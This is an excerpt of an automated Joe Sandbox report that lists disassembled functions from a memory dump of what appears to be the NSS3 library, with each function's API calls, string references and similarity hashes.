Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: b4a55f63fb6e364eaa41e3694dfb743fc1e639caee5ce0c8ca82e570c355befe
Instruction ID: 99b1484a6b3a0ccb7248d52e446499b11c61bd8816f26dcd3952298718ca1f74
Opcode Fuzzy Hash: b4a55f63fb6e364eaa41e3694dfb743fc1e639caee5ce0c8ca82e570c355befe
Instruction Fuzzy Hash: 921118B6F252009FDF80DF69D88DB463BB5FB4B294B140429E50AC7710E733A414CB99

Function 6CF67C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF67C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67C83
malloc.MOZGLUE(00000001), ref: 6CF67C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF67C9F
PR_GetCurrentThread.NSS3 ref: 6CF67CAD

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a2d4d73e5206aa9ef0a53dd2e2c1d16bede8b08dfe8e8a5b00c2f0281b4c5fed
Instruction ID: 6828da1155f8ac9f7ced9b62347f6dcdc204f52666d0c92ff80bb99195d5d1ab
Opcode Fuzzy Hash: a2d4d73e5206aa9ef0a53dd2e2c1d16bede8b08dfe8e8a5b00c2f0281b4c5fed
Instruction Fuzzy Hash: C3F0C8B19102066FD7009F77AC059577758EF00369B118436EC19C7F00EB31E214CAD5

Function 6CF6ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF6A6D8), ref: 6CF6AE0D
free.MOZGLUE(?), ref: 6CF6AE14
DeleteCriticalSection.KERNEL32(6CF6A6D8), ref: 6CF6AE36
free.MOZGLUE(?), ref: 6CF6AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF6A6D8), ref: 6CF6AE47

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 1e71f323db2b2b251e4a7df1e79eba7e4815af81c67a959573f2b3c7b3cd8a15
Instruction ID: 4909c80b31314bebaf375cbbc07f2ca2f0829f7aeaec500efc945279f99da093
Opcode Fuzzy Hash: 1e71f323db2b2b251e4a7df1e79eba7e4815af81c67a959573f2b3c7b3cd8a15
Instruction Fuzzy Hash: 91F09675601A01E7CA109FE9E808B5BF7B8BF86775B140329E52A83940D733F115C7D5

Function 6CDF7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF7D35

Strings

%s at line %d of [%.10s], xrefs: 6CDF7D2E
database corruption, xrefs: 6CDF7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF7D13, 6CDF7D1F, 6CDF7D47, 6CDF7D53, 6CDF7D5F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 2661079799aa608fb32f09002fa00b9edddb554ad1571d443ba7f28341c287bc
Instruction ID: 69263e479fadb3fe30804858431d8a2f16f8ff31876a1e53eda9f97452c396eb
Opcode Fuzzy Hash: 2661079799aa608fb32f09002fa00b9edddb554ad1571d443ba7f28341c287bc
Instruction Fuzzy Hash: CA31E371E04229A7D7108F9ECC809F9B7F1BF88209B9B0196E494B7A95D271DC52C7B4

Function 6CDE6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CDE6D36

Strings

%s at line %d of [%.10s], xrefs: 6CDE6D2F
database corruption, xrefs: 6CDE6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE6D20

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 49fd2c50f4461f54abf6c6c10a84fe7ba5cb6910e1b4f6db49bd7792df4d8531
Instruction ID: 94a4ecb7f9e4730dc5514daf512dd12436849642400c27a2e50cf4badaf2f329
Opcode Fuzzy Hash: 49fd2c50f4461f54abf6c6c10a84fe7ba5cb6910e1b4f6db49bd7792df4d8531
Instruction Fuzzy Hash: 8B21F470600309DBC710CF1AC841B5EB7F2AF89318F64892DD9499BF61E3B1F94687A2

Function 6CEC2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CEC32C2,<+l,00000000,00000000,?), ref: 6CEC2FDA

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEC300B

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEC302A

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

Part of subcall function 6CE9C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CE9C45D
Part of subcall function 6CE9C3D0: TlsGetValue.KERNEL32 ref: 6CE9C494
Part of subcall function 6CE9C3D0: EnterCriticalSection.KERNEL32(?), ref: 6CE9C4A9
Part of subcall function 6CE9C3D0: PR_Unlock.NSS3(?), ref: 6CE9C4F4

Strings

<+l, xrefs: 6CEC2FD0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 423ea4613cf585afaa988cb8447913d51fec9f20990332d10d9d5a7cc420f83e
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 5511C4B7B002046BDB008E659D01AEB77B99B8427CF384138E81CD7780E772E915C7A1

Function 6CF1CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF1CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF1CC7B), ref: 6CF1CD7A
Part of subcall function 6CF1CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF1CD8E
Part of subcall function 6CF1CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF1CDA5
Part of subcall function 6CF1CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF1CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF1CCB5
memcpy.VCRUNTIME140(6CFB14F4,6CFB02AC,00000090), ref: 6CF1CCD3
memcpy.VCRUNTIME140(6CFB1588,6CFB02AC,00000090), ref: 6CF1CD2B

Part of subcall function 6CE39AC0: socket.WSOCK32(?,00000017,6CE399BE), ref: 6CE39AE6
Part of subcall function 6CE39AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE399BE), ref: 6CE39AFC

Part of subcall function 6CE40590: closesocket.WSOCK32(6CE39A8F,?,?,6CE39A8F,00000000), ref: 6CE40597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF1CCB0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: dc5fadb2d424c5e159d4b5729c9f0114d1f8eb6a6b749cf85556905586e5ac72
Instruction ID: 9e3874462813c0f3dfcf32ecefd06db54fa54adc545432667a75c36362166bac
Opcode Fuzzy Hash: dc5fadb2d424c5e159d4b5729c9f0114d1f8eb6a6b749cf85556905586e5ac72
Instruction Fuzzy Hash: A9119AF6F242405FDB809F5B9E8678277B89356218F149139E406DBF41E772D40887D9

Function 6CE81CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CE81CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CE81CF1

Part of subcall function 6CF609D0: PR_Now.NSS3 ref: 6CF60A22
Part of subcall function 6CF609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF60A35
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF60A66
Part of subcall function 6CF609D0: PR_GetCurrentThread.NSS3 ref: 6CF60A70
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF60A9D
Part of subcall function 6CF609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF60AC8
Part of subcall function 6CF609D0: PR_vsmprintf.NSS3(?,?), ref: 6CF60AE8
Part of subcall function 6CF609D0: EnterCriticalSection.KERNEL32(?), ref: 6CF60B19
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF60B48
Part of subcall function 6CF609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF60C76
Part of subcall function 6CF609D0: PR_LogFlush.NSS3 ref: 6CF60C7E

Strings

C_Initialize, xrefs: 6CE81CD3
pInitArgs = 0x%p, xrefs: 6CE81CEC

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 198bb10134a8d0535fd41decc0f67fdd5f10ec0e44d724e667b259ca4bf3edfe
Instruction ID: 406869cf6c5adc097dba403477cb0a17cc4f38c36fa6b9a0a0febc7373a52dfe
Opcode Fuzzy Hash: 198bb10134a8d0535fd41decc0f67fdd5f10ec0e44d724e667b259ca4bf3edfe
Instruction Fuzzy Hash: 7A01F1B5B120809FDB809BA4DA88B5533B5EBC235AF284438E80DD7B91DB71D849C796

Function 6CDE7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDE81DF
LeaveCriticalSection.KERNEL32(?), ref: 6CDE8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDE8255
sqlite3_free.NSS3(00000000), ref: 6CDE8260

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 96e4134d4b122f4c2f5dfe5987dab0486b7b35ee243f42fa06f80ecb9185975b
Instruction ID: bdab64342f05933e8abeb5b8aa4d76b1e57bd9607ed5ac9899c1d607f814be7a
Opcode Fuzzy Hash: 96e4134d4b122f4c2f5dfe5987dab0486b7b35ee243f42fa06f80ecb9185975b
Instruction Fuzzy Hash: 8991BD31E11608CFEF44CFE9ED987ADBBB1BF0A304F24402AD41A9B664DB355955CB81

Function 6CEC1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC1D8F

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEC1DA6

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CEC1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEC1ED0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 3aab6cd69f0d21ee2cba2e513d8368d70e4d737c7690c51185aba1b1331d616e
Instruction ID: bddd3568eef720674fec2bed323410a23ff43ccd3b43a91374e7f78d63f4a5ce
Opcode Fuzzy Hash: 3aab6cd69f0d21ee2cba2e513d8368d70e4d737c7690c51185aba1b1331d616e
Instruction Fuzzy Hash: 32515875A00309CFDB04CFD8C984BAEBBB6BF49318F244129E829AB750D731E945CB91

Function 6CF14FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CDF85D2,00000000,?,?), ref: 6CF14FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF150D6

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 3210bafb8193dc4914531b8c8022cc8ffb718c20c066d139e76b450df57c29b9
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: B3418EB2A442118FCB18CF59DCE179AB7E1BF4431871D466DD84ACBB02E379E891CB81

Function 6CE3FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CE3FDFE), ref: 6CE3FFAD

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CE3FDFE), ref: 6CE3FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CE3FDFE), ref: 6CE4001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CE3FDFE), ref: 6CE4006F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: b4e9128af4e7338a4b4b81b83c13aabc27f405cdf0e9fc3fdde2b9e107f4f3a1
Instruction ID: 2639878d708884bef7ba6b24fd71ffb3a549472573cd9dbe30166a048329defb
Opcode Fuzzy Hash: b4e9128af4e7338a4b4b81b83c13aabc27f405cdf0e9fc3fdde2b9e107f4f3a1
Instruction Fuzzy Hash: 8B41DF71F002159BDB08DFA5E895BAEB775FF46309F24843DD80693B40DB39A911CBA1

Function 6CF27DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF27E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF27EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF27EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF27ED8

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: ba0dd5d681c05107b7e7c2ef46be909c7fac5cbc92b04a51e8cedd9e7337da90
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 2631B5B2A001118FDB04CF09CC919DABBE2FF8831871B816AC8585BB11EB75EC45CBD1

Function 6CEDDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CE63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE7AE42), ref: 6CE630AA
Part of subcall function 6CE63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE630C7
Part of subcall function 6CE63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE630E5
Part of subcall function 6CE63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE63116
Part of subcall function 6CE63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE6312B
Part of subcall function 6CE63090: PK11_DestroyObject.NSS3(?,?), ref: 6CE63154
Part of subcall function 6CE63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6317E

